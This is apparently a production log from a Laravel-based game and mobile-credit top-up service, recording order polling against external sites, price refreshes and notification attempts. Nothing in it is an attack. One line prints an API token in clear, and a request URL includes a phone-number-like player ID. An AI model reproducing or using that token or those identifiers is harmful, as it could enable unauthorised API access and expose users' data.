[2026-03-24 09:32:03] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"WQunyD9oLY4tEiDeaY9I3qRecMGuEBPT","execution_time":"2026-03-24 09:32:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ysU-1774333864","operation_id":163467,"chunk_number":1,"processed":3,"errors":0,"total_operations":3,"total_orders":3,"total_codes":0,"total_refunds":0} 
[2026-03-24 09:32:03] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"WQunyD9oLY4tEiDeaY9I3qRecMGuEBPT","execution_time":"2026-03-24 09:32:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ysU-1774333864","operation_id":163467,"total_processed":3,"total_errors":0,"chunks_processed":1} 
[2026-03-24 09:32:03] production.INFO: Batch update completed {"job":"Quryjob","job_id":"WQunyD9oLY4tEiDeaY9I3qRecMGuEBPT","execution_time":"2026-03-24 09:32:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ysU-1774333864","operation_id":163467,"processed":3,"errors":0} 
[2026-03-24 09:32:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"WQunyD9oLY4tEiDeaY9I3qRecMGuEBPT","execution_time":"2026-03-24 09:32:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ysU-1774333864","operation_id":163467,"processed":3,"errors":0} 
[2026-03-24 09:32:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"WQunyD9oLY4tEiDeaY9I3qRecMGuEBPT","execution_time":"2026-03-24 09:32:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ysU-1774333864","operation_id":163467} 
[2026-03-24 09:32:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 43  
[2026-03-24 09:32:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 43  
[2026-03-24 09:32:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 43  
[2026-03-24 09:33:02] production.INFO: Constructing job for order: 178538  
[2026-03-24 09:33:03] production.INFO: Handling job for order: 178538  
[2026-03-24 09:33:03] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 09:33:03] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 09:33:03] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/809/params?qty=1&uuid=99731158-a357-498d-8962-b55f6aca9a93&Player_ID=0991780640  
[2026-03-24 09:33:03] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/809/params?qty=1&uuid=99731158-a357-498d-8962-b55f6aca9a93&Player_ID=0991780640","has_body":false} 
[2026-03-24 09:33:03] production.INFO: Operation sent successfully {"operation_id":163469,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-S3f-1774333983","amount":223.24182999999999310603016056120395660400390625,"status":"processing","product":"211.54 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 09:33:03"}},"processed_data":{"order_number":"ORD-S3f-1774333983","amount":223.24182999999999310603016056120395660400390625,"status":"processing","product":"211.54 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 09:34:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"PEIjQi5iCHqTMFhFqfQmhxuafHfDaMgH","execution_time":"2026-03-24 09:34:03"} 
[2026-03-24 09:34:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"PEIjQi5iCHqTMFhFqfQmhxuafHfDaMgH","execution_time":"2026-03-24 09:34:03","total_operations":2,"sites_count":2} 
[2026-03-24 09:34:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"PEIjQi5iCHqTMFhFqfQmhxuafHfDaMgH","execution_time":"2026-03-24 09:34:03","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 09:34:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"PEIjQi5iCHqTMFhFqfQmhxuafHfDaMgH","execution_time":"2026-03-24 09:34:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 09:34:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"PEIjQi5iCHqTMFhFqfQmhxuafHfDaMgH","execution_time":"2026-03-24 09:34:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 09:34:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"PEIjQi5iCHqTMFhFqfQmhxuafHfDaMgH","execution_time":"2026-03-24 09:34:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 09:34:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"PEIjQi5iCHqTMFhFqfQmhxuafHfDaMgH","execution_time":"2026-03-24 09:34:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 09:34:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"PEIjQi5iCHqTMFhFqfQmhxuafHfDaMgH","execution_time":"2026-03-24 09:34:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 09:34:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"PEIjQi5iCHqTMFhFqfQmhxuafHfDaMgH","execution_time":"2026-03-24 09:34:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"orders_count":1,"order_ids":["ORD-S3f-1774333983"]} 
[2026-03-24 09:34:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"PEIjQi5iCHqTMFhFqfQmhxuafHfDaMgH","execution_time":"2026-03-24 09:34:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 09:34:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"PEIjQi5iCHqTMFhFqfQmhxuafHfDaMgH","execution_time":"2026-03-24 09:34:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"orders_count":1} 
[2026-03-24 09:34:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"PEIjQi5iCHqTMFhFqfQmhxuafHfDaMgH","execution_time":"2026-03-24 09:34:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-S3f-1774333983","operation_id":163469,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 09:34:04] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"PEIjQi5iCHqTMFhFqfQmhxuafHfDaMgH","execution_time":"2026-03-24 09:34:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-S3f-1774333983","operation_id":163469,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 09:34:04] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"PEIjQi5iCHqTMFhFqfQmhxuafHfDaMgH","execution_time":"2026-03-24 09:34:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-S3f-1774333983","operation_id":163469,"count":1} 
[2026-03-24 09:34:04] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"PEIjQi5iCHqTMFhFqfQmhxuafHfDaMgH","execution_time":"2026-03-24 09:34:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-S3f-1774333983","operation_id":163469,"count":1} 
[2026-03-24 09:34:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"PEIjQi5iCHqTMFhFqfQmhxuafHfDaMgH","execution_time":"2026-03-24 09:34:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-S3f-1774333983","operation_id":163469,"user_id":107,"notification_type":"order_approved","reference_id":178538} 
[2026-03-24 09:34:04] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"PEIjQi5iCHqTMFhFqfQmhxuafHfDaMgH","execution_time":"2026-03-24 09:34:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-S3f-1774333983","operation_id":163469,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 09:34:04] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"PEIjQi5iCHqTMFhFqfQmhxuafHfDaMgH","execution_time":"2026-03-24 09:34:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-S3f-1774333983","operation_id":163469,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 09:34:04] production.INFO: Batch update completed {"job":"Quryjob","job_id":"PEIjQi5iCHqTMFhFqfQmhxuafHfDaMgH","execution_time":"2026-03-24 09:34:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-S3f-1774333983","operation_id":163469,"processed":1,"errors":0} 
[2026-03-24 09:34:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"PEIjQi5iCHqTMFhFqfQmhxuafHfDaMgH","execution_time":"2026-03-24 09:34:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-S3f-1774333983","operation_id":163469,"processed":1,"errors":0} 
[2026-03-24 09:34:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"PEIjQi5iCHqTMFhFqfQmhxuafHfDaMgH","execution_time":"2026-03-24 09:34:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-S3f-1774333983","operation_id":163469} 
[2026-03-24 09:34:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 107  
[2026-03-24 09:35:04] production.INFO: Executing GetProducts task...  
[2026-03-24 09:35:04] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 09:35:04] production.INFO: Executing GetProducts task...  
[2026-03-24 09:35:06] production.INFO: async() رجع: true  
[2026-03-24 09:35:06] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 09:35:06] production.WARNING: Product with ID 395 not found  
[2026-03-24 09:35:07] production.WARNING: Product with ID 213 not found  
[2026-03-24 09:35:07] production.WARNING: Product with ID 212 not found  
[2026-03-24 09:35:07] production.WARNING: Product with ID 211 not found  
[2026-03-24 09:35:07] production.WARNING: Product with ID 210 not found  
[2026-03-24 09:35:07] production.WARNING: Product with ID 209 not found  
[2026-03-24 09:35:07] production.WARNING: Product with ID 214 not found  
[2026-03-24 09:35:07] production.WARNING: Product with ID 215 not found  
[2026-03-24 09:35:07] production.WARNING: Product with ID 216 not found  
[2026-03-24 09:35:07] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 09:36:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"IqYTK7RxSy38bgBMv499bxLf7fQQdozX","execution_time":"2026-03-24 09:36:01"} 
[2026-03-24 09:36:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"IqYTK7RxSy38bgBMv499bxLf7fQQdozX","execution_time":"2026-03-24 09:36:01","total_operations":1,"sites_count":1} 
[2026-03-24 09:36:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"IqYTK7RxSy38bgBMv499bxLf7fQQdozX","execution_time":"2026-03-24 09:36:01","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 09:36:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"IqYTK7RxSy38bgBMv499bxLf7fQQdozX","execution_time":"2026-03-24 09:36:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 09:36:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"IqYTK7RxSy38bgBMv499bxLf7fQQdozX","execution_time":"2026-03-24 09:36:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 09:36:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"IqYTK7RxSy38bgBMv499bxLf7fQQdozX","execution_time":"2026-03-24 09:36:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 09:36:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"IqYTK7RxSy38bgBMv499bxLf7fQQdozX","execution_time":"2026-03-24 09:36:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 09:36:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"IqYTK7RxSy38bgBMv499bxLf7fQQdozX","execution_time":"2026-03-24 09:36:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 09:36:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"IqYTK7RxSy38bgBMv499bxLf7fQQdozX","execution_time":"2026-03-24 09:36:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 09:37:25] production.INFO: Creating credit request {"payload":{"method_id":"1","amount":"10.0","mainamount":"10","operation_number":"157985779","currency_id":"1","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpepieqklsd9sf3RqIrel"}},"user_id":39} 
[2026-03-24 09:37:25] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 09:37:25] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 09:37:25] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 09:37:25] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 09:37:25] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 09:37:25] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 09:37:25] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 09:37:25] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 09:37:25] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18598,"user_id":39,"amount":10.0,"admins_notified":7} 
[2026-03-24 09:38:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"72rHZfaVFXvaxr4HJ3dfTsCQpXheilXf","execution_time":"2026-03-24 09:38:01"} 
[2026-03-24 09:38:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"72rHZfaVFXvaxr4HJ3dfTsCQpXheilXf","execution_time":"2026-03-24 09:38:01","total_operations":1,"sites_count":1} 
[2026-03-24 09:38:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"72rHZfaVFXvaxr4HJ3dfTsCQpXheilXf","execution_time":"2026-03-24 09:38:01","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 09:38:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"72rHZfaVFXvaxr4HJ3dfTsCQpXheilXf","execution_time":"2026-03-24 09:38:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 09:38:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"72rHZfaVFXvaxr4HJ3dfTsCQpXheilXf","execution_time":"2026-03-24 09:38:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 09:38:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"72rHZfaVFXvaxr4HJ3dfTsCQpXheilXf","execution_time":"2026-03-24 09:38:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 09:38:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"72rHZfaVFXvaxr4HJ3dfTsCQpXheilXf","execution_time":"2026-03-24 09:38:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 09:38:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"72rHZfaVFXvaxr4HJ3dfTsCQpXheilXf","execution_time":"2026-03-24 09:38:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 09:38:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"72rHZfaVFXvaxr4HJ3dfTsCQpXheilXf","execution_time":"2026-03-24 09:38:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 09:40:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"ee0bVD7XadQO44XNHPnTcJuW2oZBjTiQ","execution_time":"2026-03-24 09:40:03"} 
[2026-03-24 09:40:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"ee0bVD7XadQO44XNHPnTcJuW2oZBjTiQ","execution_time":"2026-03-24 09:40:03","total_operations":1,"sites_count":1} 
[2026-03-24 09:40:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"ee0bVD7XadQO44XNHPnTcJuW2oZBjTiQ","execution_time":"2026-03-24 09:40:03","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 09:40:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"ee0bVD7XadQO44XNHPnTcJuW2oZBjTiQ","execution_time":"2026-03-24 09:40:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 09:40:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"ee0bVD7XadQO44XNHPnTcJuW2oZBjTiQ","execution_time":"2026-03-24 09:40:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 09:40:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"ee0bVD7XadQO44XNHPnTcJuW2oZBjTiQ","execution_time":"2026-03-24 09:40:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 09:40:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"ee0bVD7XadQO44XNHPnTcJuW2oZBjTiQ","execution_time":"2026-03-24 09:40:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 09:40:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"ee0bVD7XadQO44XNHPnTcJuW2oZBjTiQ","execution_time":"2026-03-24 09:40:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 09:40:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"ee0bVD7XadQO44XNHPnTcJuW2oZBjTiQ","execution_time":"2026-03-24 09:40:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 09:40:03] production.INFO: Executing GetProducts task...  
[2026-03-24 09:40:03] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 09:40:03] production.INFO: Executing GetProducts task...  
[2026-03-24 09:40:05] production.INFO: async() رجع: true  
[2026-03-24 09:40:05] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 09:40:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 09:40:06] production.WARNING: Product with ID 213 not found  
[2026-03-24 09:40:06] production.WARNING: Product with ID 212 not found  
[2026-03-24 09:40:06] production.WARNING: Product with ID 211 not found  
[2026-03-24 09:40:06] production.WARNING: Product with ID 210 not found  
[2026-03-24 09:40:06] production.WARNING: Product with ID 209 not found  
[2026-03-24 09:40:06] production.WARNING: Product with ID 214 not found  
[2026-03-24 09:40:06] production.WARNING: Product with ID 215 not found  
[2026-03-24 09:40:06] production.WARNING: Product with ID 216 not found  
[2026-03-24 09:40:06] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 09:42:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"8sAAXpacW4GWGeDc55dvLrE0Y7p9aWQl","execution_time":"2026-03-24 09:42:03"} 
[2026-03-24 09:42:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"8sAAXpacW4GWGeDc55dvLrE0Y7p9aWQl","execution_time":"2026-03-24 09:42:03","total_operations":1,"sites_count":1} 
[2026-03-24 09:42:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"8sAAXpacW4GWGeDc55dvLrE0Y7p9aWQl","execution_time":"2026-03-24 09:42:03","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 09:42:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"8sAAXpacW4GWGeDc55dvLrE0Y7p9aWQl","execution_time":"2026-03-24 09:42:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 09:42:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"8sAAXpacW4GWGeDc55dvLrE0Y7p9aWQl","execution_time":"2026-03-24 09:42:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 09:42:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"8sAAXpacW4GWGeDc55dvLrE0Y7p9aWQl","execution_time":"2026-03-24 09:42:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 09:42:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"8sAAXpacW4GWGeDc55dvLrE0Y7p9aWQl","execution_time":"2026-03-24 09:42:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 09:42:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"8sAAXpacW4GWGeDc55dvLrE0Y7p9aWQl","execution_time":"2026-03-24 09:42:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 09:42:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"8sAAXpacW4GWGeDc55dvLrE0Y7p9aWQl","execution_time":"2026-03-24 09:42:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 09:44:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"iKUgpgb39rWixokitY7sW5G6WOPZHRYc","execution_time":"2026-03-24 09:44:01"} 
[2026-03-24 09:44:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"iKUgpgb39rWixokitY7sW5G6WOPZHRYc","execution_time":"2026-03-24 09:44:01","total_operations":1,"sites_count":1} 
[2026-03-24 09:44:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"iKUgpgb39rWixokitY7sW5G6WOPZHRYc","execution_time":"2026-03-24 09:44:01","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 09:44:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"iKUgpgb39rWixokitY7sW5G6WOPZHRYc","execution_time":"2026-03-24 09:44:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 09:44:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"iKUgpgb39rWixokitY7sW5G6WOPZHRYc","execution_time":"2026-03-24 09:44:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 09:44:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"iKUgpgb39rWixokitY7sW5G6WOPZHRYc","execution_time":"2026-03-24 09:44:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 09:44:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"iKUgpgb39rWixokitY7sW5G6WOPZHRYc","execution_time":"2026-03-24 09:44:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 09:44:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"iKUgpgb39rWixokitY7sW5G6WOPZHRYc","execution_time":"2026-03-24 09:44:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 09:44:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"iKUgpgb39rWixokitY7sW5G6WOPZHRYc","execution_time":"2026-03-24 09:44:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 09:45:01] production.INFO: Executing GetProducts task...  
[2026-03-24 09:45:01] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 09:45:01] production.INFO: Executing GetProducts task...  
[2026-03-24 09:45:03] production.INFO: async() رجع: true  
[2026-03-24 09:45:03] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 09:45:04] production.WARNING: Product with ID 395 not found  
[2026-03-24 09:45:04] production.WARNING: Product with ID 213 not found  
[2026-03-24 09:45:04] production.WARNING: Product with ID 212 not found  
[2026-03-24 09:45:04] production.WARNING: Product with ID 211 not found  
[2026-03-24 09:45:04] production.WARNING: Product with ID 210 not found  
[2026-03-24 09:45:04] production.WARNING: Product with ID 209 not found  
[2026-03-24 09:45:04] production.WARNING: Product with ID 214 not found  
[2026-03-24 09:45:04] production.WARNING: Product with ID 215 not found  
[2026-03-24 09:45:04] production.WARNING: Product with ID 216 not found  
[2026-03-24 09:45:05] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 09:45:11] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1764  
[2026-03-24 09:45:11] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1764  
[2026-03-24 09:46:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"Hn0820ICOdJFPoo5AYzEaOyrzPerowrK","execution_time":"2026-03-24 09:46:02"} 
[2026-03-24 09:46:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"Hn0820ICOdJFPoo5AYzEaOyrzPerowrK","execution_time":"2026-03-24 09:46:02","total_operations":1,"sites_count":1} 
[2026-03-24 09:46:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"Hn0820ICOdJFPoo5AYzEaOyrzPerowrK","execution_time":"2026-03-24 09:46:02","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 09:46:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"Hn0820ICOdJFPoo5AYzEaOyrzPerowrK","execution_time":"2026-03-24 09:46:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 09:46:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"Hn0820ICOdJFPoo5AYzEaOyrzPerowrK","execution_time":"2026-03-24 09:46:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
